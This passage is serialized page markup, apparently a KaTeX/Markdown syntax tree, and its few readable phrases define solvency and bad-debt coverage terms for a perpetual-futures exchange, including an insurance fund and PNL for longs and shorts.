":101,"props":166407,"children":166408},{"style":165022},[166409,166413],{"type":22,"tag":101,"props":166410,"children":166412},{"className":166411,"style":164454},[8093],[],{"type":22,"tag":101,"props":166414,"children":166416},{"className":166415},[8053],[166417,166421,166425,166430,166434,166497,166501,166506,166511,166516,166573,166578,166582,166586,166591],{"type":22,"tag":101,"props":166418,"children":166420},{"className":166419},[8053],[],{"type":22,"tag":101,"props":166422,"children":166424},{"className":166423,"style":8231},[8133],[],{"type":22,"tag":101,"props":166426,"children":166428},{"className":166427},[8236],[166429],{"type":27,"value":1511},{"type":22,"tag":101,"props":166431,"children":166433},{"className":166432,"style":8231},[8133],[],{"type":22,"tag":101,"props":166435,"children":166437},{"className":166436},[25611,166278],[166438],{"type":22,"tag":101,"props":166439,"children":166441},{"className":166440},[8074,25629],[166442,166486],{"type":22,"tag":101,"props":166443,"children":166445},{"className":166444},[8079],[166446,166481],{"type":22,"tag":101,"props":166447,"children":166449},{"className":166448,"style":166291},[8084],[166450,166466],{"type":22,"tag":101,"props":166451,"children":166452},{"style":166295},[166453,166457],{"type":22,"tag":101,"props":166454,"children":166456},{"className":166455,"style":166300},[8093],[],{"type":22,"tag":101,"props":166458,"children":166460},{"className":166459},[8099,8100,8101,8102],[166461],{"type":22,"tag":101,"props":166462,"children":166464},{"className":166463},[8053,25575,8102],[166465],{"type":27,"value":7774},{"type":22,"tag":101,"props":166467,"children":166468},{"style":166313},[166469,166473],{"type":22,"tag":101,"props":166470,"children":166472},{"className":166471,"style":166300},[8093],[],{"type":22,"tag":101,"props":166474,"children":166475},{},[166476],{"type":22,"tag":101,"props":166477,"children":166479},{"className":166478},[25611,25616,166325],[166480],{"type":27,"value":112349},{"type":22,"tag":101,"props":166482,"children":166484},{"className":166483},[25732],[166485],{"type":27,"value":25735},{"type":22,"tag":101,"props":166487,"children":166489},{"className":166488},[8079],[166490],{"type":22,"tag":101,"props":166491,"children":166493},{"className":166492,"style":166340},[8084],[166494],{"type":22,"tag":101,"props":166495,"children":166496},{},[],{"type":22,"tag":101,"props":166498,"children":166500},{"className":166499,"style":8172},[8133],[],{"type":22,"tag":101,"props":166502,"children":166504},{"className":166503},[25611],[166505],{"type":27,"value":164168},{"type":22,"tag":101,"props":166507,"children":166509},{"className":166508},[25704],[166510],{"type":27,"value":980},{"type":22,"tag":101,"props":166512,"children":166514},{"className":166513},[8053],[166515],{"type":27,"value":8113},{"type":22,"tag":101,"props":166517,"children":166519},{"className":166518},[8053],[166520,166525],{"type":22,"tag":101,"props":166521,"children":166523},{"className":166522},[8053,25575],[166524],{"type":27,"value":55450},{"type":22,"tag":101,"props":166526,"children":166528},{"className":166527},[8069],[166529],{"type":22,"tag":101,"props":166530,"children":166532},{"className":166531},[8074,25629],[166533,166562],{"type":22,"tag":101,"props":166534,"children":166536},{"className":166535},[8079],[166537,166557],{"type":22,"tag":101,"props":166538,"children":166540},{"className":166539,"style":97083},[8084],[166541],{"type":22,"tag":101,"props":166542,"children":166543},{"style":96610},[166544,166548],{"type":22,"tag":101,"props":166545,"children":166547},{"className":166546,"style":8094},[8093],[],{"type":22,"tag":101,"props":166549,"children":166551},{"className":166550},[8099,8100,8101,8102],[166552],{"type":22,"tag":101,"props":166553,"children":166555},{"className":166554},[8053,25575,8102],[166556],{"type":27,"value":7774},{"type":22,"tag":101,"props":166558,"children":166560},{"className":166559},[25732],[166561],{"type":27,"value":25735},{"type":22,"tag":101,"props":166563,"children":166565},{"className":166564},[8079],[166566],{"type":22,"tag":101,"props":166567,"children":166569},{"className":166568,"style":96637},[8084],[166570],{"type":22,"tag":101,"props":166571,"children":166572},{},[],{"type":22,"tag":101,"props":166574,"children":166576},{"className":166575},[8165],[166577],{"type":27,"value":8168},{"type":22,"tag":101,"props":166579,"children":166581},{"className":166580,"style":8172},[8133],[],{"type":22,"tag":101,"props":166583,"children":166585},{"className":166584,"style":8172},[8133],[],{"type":22,"tag":101,"props":166587,"children":166589},{"className":166588},[8053],[166590],{"type":27,"value":8065},{"type":22,"tag":101,"props":166592,"children":166594},{"className":166593},[25726],[166595],{"type":27,"value":2261},{"type":22,"tag":101,"props":166597,"children":166598},{"style":165092},[166599,166603],{"type":22,"tag":101,"props":166600,"children":166602},{"className":166601,"style":164454},[8093],[],{"type":22,"tag":101,"props":166604,"children":166606},{"className":166605},[8053],[166607,166611,166615,166620,166624,166687,166691],{"type":22,"tag":101,"props":166608,"children":166610},{"className":166609},[8053],[],{"type":22,"tag":101,"props":166612,"children":166614},{"className":166613,"style":8231},[8133],[],{"type":22,"tag":101,"props":166616,"children":166618},{"className":166617},[8236],[166619],{"type":27,"value":1511},{"type":22,"tag":101,"props":166621,"children":166623},{"className":166622,"style":8231},[8133],[],{"type":22,"tag":101,"props":166625,"children":166627},{"className":166626},[25611,166278],[166628],{"type":22,"tag":101,"props":166629,"children":166631},{"className":166630},[8074,25629],[166632,166676],{"type":22,"tag":101,"props":166633,"children":166635},{"className":166634},[8079],[166636,166671],{"type":22,"tag":101,"props":166637,"children":166639},{"className":166638,"style":166291},[8084],[166640,166656],{"type":22,"tag":101,"props":166641,"children":166642},{"style":166295},[166643,166647],{"type":22,"tag":101,"props":166644,"children":166646},{"className":166645,"style":166300},[8093],[],{"type":22,"tag":101,"props":166648,"children":166650},{"className":166649},[8099,8100,8101,8102],[166651],{"type":22,"tag":101,"props":166652,"children":166654},{"className":166653},[8053,25575,8102],[166655],{"type":27,"value":7774},{"type":22,"tag":101,"props":166657,"children":166658},{"style":166313},[166659,166663],{"type":22,"tag":101,"props":166660,"children":166662},{"className":166661,"style":166300},[8093],[],{"type":22,"tag":101,"props":166664,"children":166665},{},[166666],{"type":22,"tag":101,"props":166667,"children":166669},{"className":166668},[25611,25616,166325],[166670],{"type":27,"value":112349},{"type":22,"tag":101,"props":166672,"children":166674},{"className":166673},[25732],[166675],{"type":27,"value":25735},{"type":22,"tag":101,"props":166677,"children":166679},{"className":166678},[8079],[166680],{"type":22,"tag":101,"props":166681,"children":166683},{"className":166682,"style":166340},[8084],[166684],{"type":22,"tag":101,"props":166685,"children":166686},{},[],{"type":22,"tag":101,"props":166688,"children":166690},{"className":166689,"style":8172},[8133],[],{"type":22,"tag":101,"props":166692,"children":166694},{"className":166693},[8053],[166695,166700],{"type":22,"tag":101,"props":166696,"children":166698},{"className":166697,"style":125834},[8053,25575],[166699],{"type":27,"value":53568},{"type":22,"tag":101,"props":166701,"children":166703},{"className":166702},[8069],[166704],{"type":22,"tag":101,"props":166705,"children":166707},{"className":166706},[8074,25629],[166708,166737],{"type":22,"tag":101,"props":166709,"children":166711},{"className":166710},[8079],[166712,166732],{"type":22,"tag":101,"props":166713,"children":166715},{"className":166714,"style":97083},[8084],[166716],{"type":22,"tag":101,"props":166717,"children":166718},{"style":164782},[166719,166723],{"type":22,"tag":101,"props":166720,"children":166722},{"className":166721,"style":8094},[8093],[],{"type":22,"tag":101,"props":166724,"children":166726},{"className":166725},[8099,8100,8101,8102],[166727],{"type":22,"tag":101,"props":166728,"children":166730},{"className":166729},[8053,25575,8102],[166731],{"type":27,"value":7774},{"type":22,"tag":101,"props":166733,"children":166735},{"className":166734},[25732],[166736],{"type":27,"value":25735},{"type":22,"tag":101,"props":166738,"children":166740},{"className":166739},[8079],[166741],{"type":22,"tag":101,"props":166742,"children":166744},{"className":166743,"style":96637},[8084],[166745],{"type":22,"tag":101,"props":166746,"children":166747},{},[],{"type":22,"tag":101,"props":166749,"children":166750},{"style":165163},[166751,166755],{"type":22,"tag":101,"props":166752,"children":166754},{"className":166753,"style":164454},[8093],[],{"type":22,"tag":101,"props":166756,"children":166758},{"className":166757},[8053],[166759,166763,166767,166772,166776,166781,166786,166843,166847,166852,166856,166861,166865,166870,166874,166931,166936,166940,166944,166949],{"type":22,"tag":101,"props":166760,"children":166762},{"className":166761},[8053],[],{"type":22,"tag":101,"props":166764,"children":166766},{"className":166765,"style":8231},[8133],[],{"type":22,"tag":101,"props":166768,"children":166770},{"className":166769},[8236],[166771],{"type":27,"value":1511},{"type":22,"tag":101,"props":166773,"children":166775},{"className":166774,"style":8231},[8133],[],{"type":22,"tag":101,"props":166777,"children":166779},{"className":166778},[25611],[166780],{"type":27,"value":164168},{"type":22,"tag":101,"props":166782,"children":166784},{"className":166783},[25704],[166785],{"type":27,"value":980},{"type":22,"tag":101,"props":166787,"children":166789},{"className":166788},[8053],[166790,166795],{"type":22,"tag":101,"props":166791,"children":166793},{"className":166792,"style":96554},[8053,25575],[166794],{"type":27,"value":165041},{"type":22,"tag":101,"props":166796,"children":166798},{"className":166797},[8069],[166799],{"type":22,"tag":101,"props":166800,"children":166802},{"className":166801},[8074,25629],[166803,166832],{"type":22,"tag":101,"props":166804,"children":166806},{"className":166805},[8079],[166807,166827],{"type":22,"tag":101,"props":166808,"children":166810},{"className":166809,"style":146109},[8084],[166811],{"type":22,"tag":101,"props":166812,"children":166813},{"style":113553},[166814,166818],{"type":22,"tag":101,"props":166815,"children":166817},{"className":166816,"style":8094},[8093],[],{"type":22,"tag":101,"props":166819,"children":166821},{"className":166820},[8099,8100,8101,8102],[166822],{"type":22,"tag":101,"props":166823,"children":166825},{"className":166824,"style":25576},[8053,25575,8102],[166826],{"type":27,"value":840},{"type":22,"tag":101,"props":166828,"children":166830},{"className":166829},[25732],[166831],{"type":27,"value":25735},{"type":22,"tag":101,"props":166833,"children":166835},{"className":166834},[8079],[166836],{"type":22,"tag":101,"props":166837,"children":166839},{"className":166838,"style":96637},[8084],[166840],{"type":22,"tag":101,"props":166841,"children":166842},{},[],{"type":22,"tag":101,"props":166844,"children":166846},{"className":166845,"style":8134},[8133],[],{"type":22,"tag":101,"props":166848,"children":166850},{"className":166849},[8139],[166851],{"type":27,"value":8113},{"type":22,"tag":101,"props":166853,"children":166855},{"className":166854,"style":8134},[8133],[],{"type":22,"tag":101,"props":166857,"children":166859},{"className":166858,"style":98574},[8053,25575],[166860],{"type":27,"value":98608},{"type":22,"tag":101,"props":166862,"children":166864},{"className":166863,"style":8134},[8133],[],{"type":22,"tag":101,"props":166866,"children":166868},{"className":166867},[8139],[166869],{"type":27,"value":8113},{"type":22,"tag":101,"props":166871,"children":166873},{"className":166872,"style":8134},[8133],[],{"type":22,"tag":101,"props":166875,"children":166877},{"className":166876},[8053],[166878,166883],{"type":22,"tag":101,"props":166879,"children":166881},{"className":166880,"style":96788},[8053,25575],[166882],{"type":27,"value":96791},{"type":22,"tag":101,"props":166884,"children":166886},{"className":166885},[8069],[166887],{"type":22,"tag":101,"props":166888,"children":166890},{"className":166889},[8074,25629],[166891,166920],{"type":22,"tag":101,"props":166892,"children":166894},{"className":166893},[8079],[166895,166915],{"type":22,"tag":101,"props":166896,"children":166898},{"className":166897,"style":146109},[8084],[166899],{"type":22,"tag":101,"props":166900,"children":166901},{"style":113983},[166902,166906],{"type":22,"tag":101,"props":166903,"children":166905},{"className":166904,"style":8094},[8093],[],{"type":22,"tag":101,"props":166907,"children":166909},{"className":166908},[8099,8100,8101,8102],[166910],{"type":22,"tag":101,"props":166911,"children":166913},{"className":166912,"style":25576},[8053,25575,8102],[166914],{"type":27,"value":840},{"type":22,"tag":101,"props":166916,"children":166918},{"className":166917},[25732],[166919],{"type":27,"value":25735},{"type":22,"tag":101,"props":166921,"children":166923},{"className":166922},[8079],[166924],{"type":22,"tag":101,"props":166925,"children":166927},{"className":166926,"style":96637},[8084],[166928],{"type":22,"tag":101,"props":166929,"children":166930},{},[],{"type":22,"tag":101,"props":166932,"children":166934},{"className":166933},[8165],[166935],{"type":27,"value":8168},{"type":22,"tag":101,"props":166937,"children":166939},{"className":166938,"style":8172},[8133],[],{"type":22,"tag":101,"props":166941,"children":166943},{"className":166942,"style":8172},[8133],[],{"type":22,"tag":101,"props":166945,"children":166947},{"className":166946},[8053],[166948],{"type":27,"value":8065},{"type":22,"tag":101,"props":166950,"children":166952},{"className":166951},[25726],[166953],{"type":27,"value":2261},{"type":22,"tag":101,"props":166955,"children":166957},{"className":166956},[25732],[166958],{"type":27,"value":25735},{"type":22,"tag":101,"props":166960,"children":166962},{"className":166961},[8079],[166963],{"type":22,"tag":101,"props":166964,"children":166966},{"className":166965,"style":165244},[8084],[166967],{"type":22,"tag":101,"props":166968,"children":166969},{},[],{"type":22,"tag":23,"props":166971,"children":166972},{},[166973,166974,167051,167053,167078,167080,167157,167159,167236],{"type":27,"value":980},{"type":22,"tag":30,"props":166975,"children":166977},{"className":166976},[8026,8027],[166978],{"type":22,"tag":101,"props":166979,"children":166981},{"className":166980},[8032],[166982],{"type":22,"tag":101,"props":166983,"children":166985},{"className":166984,"ariaHidden":5608},[8037],[166986],{"type":22,"tag":101,"props":166987,"children":166989},{"className":166988},[8042],[166990,166994],{"type":22,"tag":101,"props":166991,"children":166993},{"className":166992,"style":114551},[8047],[],{"type":22,"tag":101,"props":166995,"children":166997},{"className":166996},[8053],[166998,167003],{"type":22,"tag":101,"props":166999,"children":167001},{"className":167000,"style":25576},[8053,25575],[167002],{"type":27,"value":25579},{"type":22,"tag":101,"props":167004,"children":167006},{"className":167005},[8069],[167007],{"type":22,"tag":101,"props":167008,"children":167010},{"className":167009},[8074,25629],[167011,167040],{"type":22,"tag":101,"props":167012,"children":167014},{"className":167013},[8079],[167015,167035],{"type":22,"tag":101,"props":167016,"children":167018},{"className":167017,"style":112986},[8084],[167019],{"type":22,"tag":101,"props":167020,"children":167021},{"style":164487},[167022,167026],{"type":22,"tag":101,"props":167023,"children":167025},{"className":167024,"style":8094},[8093],[],{"type":22,"tag":101,"props":167027,"children":167029},{"className":167028},[8099,8100,8101,8102],[167030],{"type":22,"tag":101,"props":167031,"children":167033},{"className":167032},[8053,25575,8102],[167034],{"type":27,"value":60400},{"type":22,"tag":101,"props":167036,"children":167038},{"className":167037},[25732],[167039],{"type":27,"value":25735},{"type":22,"tag":101,"props":167041,"children":167043},{"className":167042},[8079],[167044],{"type":22,"tag":101,"props":167045,"children":167047},{"className":167046,"style":96637},[8084],[167048],{"type":22,"tag":101,"props":167049,"children":167050},{},[],{"type":27,"value":167052},": mark price from different sources; ",{"type":22,"tag":30,"props":167054,"children":167056},{"className":167055},[8026,8027],[167057],{"type":22,"tag":101,"props":167058,"children":167060},{"className":167059},[8032],[167061],{"type":22,"tag":101,"props":167062,"children":167064},{"className":167063,"ariaHidden":5608},[8037],[167065],{"type":22,"tag":101,"props":167066,"children":167068},{"className":167067},[8042],[167069,167073],{"type":22,"tag":101,"props":167070,"children":167072},{"className":167071,"style":25570},[8047],[],{"type":22,"tag":101,"props":167074,"children":167076},{"className":167075,"style":98574},[8053,25575],[167077],{"type":27,"value":98608},{"type":27,"value":167079},": insurance fund, roughly the 5M on testnet HL; ",{"type":22,"tag":30,"props":167081,"children":167083},{"className":167082},[8026,8027],[167084],{"type":22,"tag":101,"props":167085,"children":167087},{"className":167086},[8032],[167088],{"type":22,"tag":101,"props":167089,"children":167091},{"className":167090,"ariaHidden":5608},[8037],[167092],{"type":22,"tag":101,"props":167093,"children":167095},{"className":167094},[8042],[167096,167100],{"type":22,"tag":101,"props":167097,"children":167099},{"className":167098,"style":113524},[8047],[],{"type":22,"tag":101,"props":167101,"children":167103},{"className":167102},[8053],[167104,167109],{"type":22,"tag":101,"props":167105,"children":167107},{"className":167106,"style":97040},[8053,25575],[167108],{"type":27,"value":164625},{"type":22,"tag":101,"props":167110,"children":167112},{"className":167111},[8069],[167113],{"type":22,"tag":101,"props":167114,"children":167116},{"className":167115},[8074,25629],[167117,167146],{"type":22,"tag":101,"props":167118,"children":167120},{"className":167119},[8079],[167121,167141],{"type":22,"tag":101,"props":167122,"children":167124},{"className":167123,"style":97083},[8084],[167125],{"type":22,"tag":101,"props":167126,"children":167127},{"style":97087},[167128,167132],{"type":22,"tag":101,"props":167129,"children":167131},{"className":167130,"style":8094},[8093],[],{"type":22,"tag":101,"props":167133,"children":167135},{"className":167134},[8099,8100,8101,8102],[167136],{"type":22,"tag":101,"props":167137,"children":167139},{"className":167138},[8053,25575,8102],[167140],{"type":27,"value":7774},{"type":22,"tag":101,"props":167142,"children":167144},{"className":167143},[25732],[167145],{"type":27,"value":25735},{"type":22,"tag":101,"props":167147,"children":167149},{"className":167148},[8079],[167150],{"type":22,"tag":101,"props":167151,"children":167153},{"className":167152,"style":96637},[8084],[167154],{"type":22,"tag":101,"props":167155,"children":167156},{},[],{"type":27,"value":167158}," is PNL for longs, negated for shorts; ",{"type":22,"tag":30,"props":167160,"children":167162},{"className":167161},[8026,8027],[167163],{"type":22,"tag":101,"props":167164,"children":167166},{"className":167165},[8032],[167167],{"type":22,"tag":101,"props":167168,"children":167170},{"className":167169,"ariaHidden":5608},[8037],[167171],{"type":22,"tag":101,"props":167172,"children":167174},{"className":167173},[8042],[167175,167179],{"type":22,"tag":101,"props":167176,"children":167178},{"className":167177,"style":113524},[8047],[],{"type":22,"tag":101,"props":167180,"children":167182},{"className":167181},[8053],[167183,167188],{"type":22,"tag":101,"props":167184,"children":167186},{"className":167185,"style":125834},[8053,25575],[167187],{"type":27,"value":53568},{"type":22,"tag":101,"props":167189,"children":167191},{"className":167190},[8069],[167192],{"type":22,"tag":101,"props":167193,"children":167195},{"className":167194},[8074,25629],[167196,167225],{"type":22,"tag":101,"props":167197,"children":167199},{"className":167198},[8079],[167200,167220],{"type":22,"tag":101,"props":167201,"children":167203},{"className":167202,"style":97083},[8084],[167204],{"type":22,"tag":101,"props":167205,"children":167206},{"style":164782},[167207,167211],{"type":22,"tag":101,"props":167208,"children":167210},{"className":167209,"style":8094},[8093],[],{"type":22,"tag":101,"props":167212,"children":167214},{"className":167213},[8099,8100,8101,8102],[167215],{"type":22,"tag":101,"props":167216,"children":167218},{"className":167217},[8053,25575,8102],[167219],{"type":27,"value":7774},{"type":22,"tag":101,"props":167221,"children":167223},{"className":167222},[25732],[167224],{"type":27,"value":25735},{"type":22,"tag":101,"props":167226,"children":167228},{"className":167227},[8079],[167229],{"type":22,"tag":101,"props":167230,"children":167232},{"className":167231,"style":96637},[8084],[167233],{"type":22,"tag":101,"props":167234,"children":167235},{},[],{"type":27,"value":167237}," is the positive part of PNL.)",{"type":22,"tag":23,"props":167239,"children":167240},{},[167241],{"type":27,"value":167242},"And let's make the trilemma definitions concrete:",{"type":22,"tag":6839,"props":167244,"children":167245},{},[167246,167720,168284],{"type":22,"tag":6832,"props":167247,"children":167248},{},[167249,167253,167254,167508,167510,167561,167563,167666,167667,167718],{"type":22,"tag":6961,"props":167250,"children":167251},{},[167252],{"type":27,"value":164366},{"type":27,"value":36907},{"type":22,"tag":30,"props":167255,"children":167257},{"className":167256},[8026,8027],[167258],{"type":22,"tag":101,"props":167259,"children":167261},{"className":167260},[8032],[167262],{"type":22,"tag":101,"props":167263,"children":167265},{"className":167264,"ariaHidden":5608},[8037],[167266,167293],{"type":22,"tag":101,"props":167267,"children":167269},{"className":167268},[8042],[167270,167275,167280,167284,167289],{"type":22,"tag":101,"props":167271,"children":167274},{"className":167272,"style":167273},[8047],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":167276,"children":167278},{"className":167277},[8053],[167279],{"type":27,"value":6813},{"type":22,"tag":101,"props":167281,"children":167283},{"className":167282,"style":8134},[8133],[],{"type":22,"tag":101,"props":167285,"children":167287},{"className":167286},[8139],[167288],{"type":27,"value":8113},{"type":22,"tag":101,"props":167290,"children":167292},{"className":167291,"style":8134},[8133],[],{"type":22,"tag":101,"props":167294,"children":167296},{"className":167295},[8042],[167297,167302],{"type":22,"tag":101,"props":167298,"children":167301},{"className":167299,"style":167300},[8047],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":22,"tag":101,"props":167303,"children":167305},{"className":167304},[8053],[167306,167310,167504],{"type":22,"tag":101,"props":167307,"children":167309},{"className":167308},[25704,117072],[],{"type":22,"tag":101,"props":167311,"children":167313},{"className":167312},[117077],[167314],{"type":22,"tag":101,"props":167315,"children":167317},{"className":167316},[8074,25629],[167318,167492],{"type":22,"tag":101,"props":167319,"children":167321},{"className":167320},[8079],[167322,167487],{"type":22,"tag":101,"props":167323,"children":167326},{"className":167324,"style":167325},[8084],"height:0.8884em;",[167327,167401,167412],{"type":22,"tag":101,"props":167328,"children":167329},{"style":117094},[167330,167334],{"type":22,"tag":101,"props":167331,"children":167333},{"className":167332,"style":115725},[8093],[],{"type":22,"tag":101,"props":167335,"children":167337},{"className":167336},[8099,8100,8101,8102],[167338],{"type":22,"tag":101,"props":167339,"children":167341},{"className":167340},[8053,8102],[167342],{"type":22,"tag":101,"props":167343,"children":167345},{"className":167344},[8053,8102],[167346,167351],{"type":22,"tag":101,"props":167347,"children":167349},{"className":167348,"style":96554},[8053,25575,8102],[167350],{"type":27,"value":165041},{"type":22,"tag":101,"props":167352,"children":167354},{"className":167353},[8069],[167355],{"type":22,"tag":101,"props":167356,"children":167358},{"className":167357},[8074,25629],[167359,167389],{"type":22,"tag":101,"props":167360,"children":167362},{"className":167361},[8079],[167363,167384],{"type":22,"tag":101,"props":167364,"children":167366},{"className":167365,"style":115886},[8084],[167367],{"type":22,"tag":101,"props":167368,"children":167370},{"style":167369},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[167371,167375],{"type":22,"tag":101,"props":167372,"children":167374},{"className":167373,"style":112414},[8093],[],{"type":22,"tag":101,"props":167376,"children":167378},{"className":167377},[8099,112419,112420,8102],[167379],{"type":22,"tag":101,"props":167380,"children":167382},{"className":167381,"style":25576},[8053,25575,8102],[167383],{"type":27,"value":840},{"type":22,"tag":101,"props":167385,"children":167387},{"className":167386},[25732],[167388],{"type":27,"value":25735},{"type":22,"tag":101,"props":167390,"children":167392},{"className":167391},[8079],[167393],{"type":22,"tag":101,"props":167394,"children":167397},{"className":167395,"style":167396},[8084],"height:0.1433em;",[167398],{"type":22,"tag":101,"props":167399,"children":167400},{},[],{"type":22,"tag":101,"props":167402,"children":167403},{"style":117127},[167404,167408],{"type":22,"tag":101,"props":167405,"children":167407},{"className":167406,"style":115725},[8093],[],{"type":22,"tag":101,"props":167409,"children":167411},{"className":167410,"style":117137},[117136],[],{"type":22,"tag":101,"props":167413,"children":167415},{"style":167414},"top:-3.4101em;",[167416,167420],{"type":22,"tag":101,"props":167417,"children":167419},{"className":167418,"style":115725},[8093],[],{"type":22,"tag":101,"props":167421,"children":167423},{"className":167422},[8099,8100,8101,8102],[167424],{"type":22,"tag":101,"props":167425,"children":167427},{"className":167426},[8053,8102],[167428],{"type":22,"tag":101,"props":167429,"children":167431},{"className":167430},[8053,8102],[167432,167437],{"type":22,"tag":101,"props":167433,"children":167435},{"className":167434,"style":126331},[8053,25575,8102],[167436],{"type":27,"value":126334},{"type":22,"tag":101,"props":167438,"children":167440},{"className":167439},[8069],[167441],{"type":22,"tag":101,"props":167442,"children":167444},{"className":167443},[8074,25629],[167445,167476],{"type":22,"tag":101,"props":167446,"children":167448},{"className":167447},[8079],[167449,167471],{"type":22,"tag":101,"props":167450,"children":167453},{"className":167451,"style":167452},[8084],"height:0.2963em;",[167454],{"type":22,"tag":101,"props":167455,"children":167457},{"style":167456},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[167458,167462],{"type":22,"tag":101,"props":167459,"children":167461},{"className":167460,"style":112414},[8093],[],{"type":22,"tag":101,"props":167463,"children":167465},{"className":167464},[8099,112419,112420,8102],[167466],{"type":22,"tag":101,"props":167467,"children":167469},{"className":167468},[8053,25575,8102],[167470],{"type":27,"value":25717},{"type":22,"tag":101,"props":167472,"children":167474},{"className":167473},[25732],[167475],{"type":27,"value":25735},{"type":22,"tag":101,"props":167477,"children":167479},{"className":167478},[8079],[167480],{"type":22,"tag":101,"props":167481,"children":167483},{"className":167482,"style":112439},[8084],[167484],{"type":22,"tag":101,"props":167485,"children":167486},{},[],{"type":22,"tag":101,"props":167488,"children":167490},{"className":167489},[25732],[167491],{"type":27,"value":25735},{"type":22,"tag":101,"props":167493,"children":167495},{"className":167494},[8079],[167496],{"type":22,"tag":101,"props":167497,"children":167500},{"className":167498,"style":167499},[8084],"height:0.4453em;",[167501],{"type":22,"tag":101,"props":167502,"children":167503},{},[],{"type":22,"tag":101,"props":167505,"children":167507},{"className":167506},[25726,117072],[],{"type":27,"value":167509}," — how much of the total bad debt was actually covered. ",{"type":22,"tag":30,"props":167511,"children":167513},{"className":167512},[8026,8027],[167514],{"type":22,"tag":101,"props":167515,"children":167517},{"className":167516},[8032],[167518],{"type":22,"tag":101,"props":167519,"children":167521},{"className":167520,"ariaHidden":5608},[8037],[167522,167548],{"type":22,"tag":101,"props":167523,"children":167525},{"className":167524},[8042],[167526,167530,167535,167539,167544],{"type":22,"tag":101,"props":167527,"children":167529},{"className":167528,"style":25570},[8047],[],{"type":22,"tag":101,"props":167531,"children":167533},{"className":167532,"style":26034},[8053,25575],[167534],{"type":27,"value":26037},{"type":22,"tag":101,"props":167536,"children":167538},{"className":167537,"style":8231},[8133],[],{"type":22,"tag":101,"props":167540,"children":167542},{"className":167541},[8236],[167543],{"type":27,"value":1511},{"type":22,"tag":101,"props":167545,"children":167547},{"className":167546,"style":8231},[8133],[],{"type":22,"tag":101,"props":167549,"children":167551},{"className":167550},[8042],[167552,167556],{"type":22,"tag":101,"props":167553,"children":167555},{"className":167554,"style":97585},[8047],[],{"type":22,"tag":101,"props":167557,"children":167559},{"className":167558},[8053],[167560],{"type":27,"value":6813},{"type":27,"value":167562}," means fully solvent (",{"type":22,"tag":30,"props":167564,"children":167566},{"className":167565},[8026,8027],[167567],{"type":22,"tag":101,"props":167568,"children":167570},{"className":167569},[8032],[167571],{"type":22,"tag":101,"props":167572,"children":167574},{"className":167573,"ariaHidden":5608},[8037],[167575,167653],{"type":22,"tag":101,"props":167576,"children":167578},{"className":167577},[8042],[167579,167583,167640,167644,167649],{"type":22,"tag":101,"props":167580,"children":167582},{"className":167581,"style":114551},[8047],[],{"type":22,"tag":101,"props":167584,"children":167586},{"className":167585},[8053],[167587,167592],{"type":22,"tag":101,"props":167588,"children":167590},{"className":167589,"style":126331},[8053,25575],[167591],{"type":27,"value":126334},{"type":22,"tag":101,"props":167593,"children":167595},{"className":167594},[8069],[167596],{"type":22,"tag":101,"props":167597,"children":167599},{"className":167598},[8074,25629],[167600,167629],{"type":22,"tag":101,"props":167601,"children":167603},{"className":167602},[8079],[167604,167624],{"type":22,"tag":101,"props":167605,"children":167607},{"className":167606,"style":165197},[8084],[167608],{"type":22,"tag":101,"props":167609,"children":167610},{"style":165201},[167611,167615],{"type":22,"tag":101,"props":167612,"children":167614},{"className":167613,"style":8094},[8093],[],{"type":22,"tag":101,"props":167616,"children":167618},{"className":167617},[8099,8100,8101,8102],[167619],{"type":22,"tag":101,"props":167620,"children":167622},{"className":167621},[8053,25575,8102],[167623],{"type":27,"value":25717},{"type":22,"tag":101,"props":167625,"children":167627},{"className":167626},[25732],[167628],{"type":27,"value":25735},{"type":22,"tag":101,"props":167630,"children":167632},{"className":167631},[8079],[167633],{"type":22,"tag":101,"props":167634,"children":167636},{"className":167635,"style":96637},[8084],[167637],{"type":22,"tag":101,"props":167638,"children":167639},{},[],{"type":22,"tag":101,"props":167641,"children":167643},{"className":167642,"style":8231},[8133],[],{"type":22,"tag":101,"props":167645,"children":167647},{"className":167646},[8236],[167648],{"type":27,"value":1511},{"type":22,"tag":101,"props":167650,"children":167652},{"className":167651,"style":8231},[8133],[],{"type":22,"tag":101,"props":167654,"children":167656},{"className":167655},[8042],[167657,167661],{"type":22,"tag":101,"props":167658,"children":167660},{"className":167659,"style":97585},[8047],[],{"type":22,"tag":101,"props":167662,"children":167664},{"className":167663},[8053],[167665],{"type":27,"value":8065},{"type":27,"value":1099},{"type":22,"tag":30,"props":167668,"children":167670},{"className":167669},[8026,8027],[167671],{"type":22,"tag":101,"props":167672,"children":167674},{"className":167673},[8032],[167675],{"type":22,"tag":101,"props":167676,"children":167678},{"className":167677,"ariaHidden":5608},[8037],[167679,167705],{"type":22,"tag":101,"props":167680,"children":167682},{"className":167681},[8042],[167683,167687,167692,167696,167701],{"type":22,"tag":101,"props":167684,"children":167686},{"className":167685,"style":25570},[8047],[],{"type":22,"tag":101,"props":167688,"children":167690},{"className":167689,"style":26034},[8053,25575],[167691],{"type":27,"value":26037},{"type":22,"tag":101,"props":167693,"children":167695},{"className":167694,"style":8231},[8133],[],{"type":22,"tag":101,"props":167697,"children":167699},{"className":167698},[8236],[167700],{"type":27,"value":1511},{"type":22,"tag":101,"props":167702,"children":167704},{"className":167703,"style":8231},[8133],[],{"type":22,"tag":101,"props":167706,"children":167708},{"className":167707},[8042],[167709,167713],{"type":22,"tag":101,"props":167710,"children":167712},{"className":167711,"style":97585},[8047],[],{"type":22,"tag":101,"props":167714,"children":167716},{"className":167715},[8053],[167717],{"type":27,"value":8065},{"type":27,"value":167719}," means nothing was 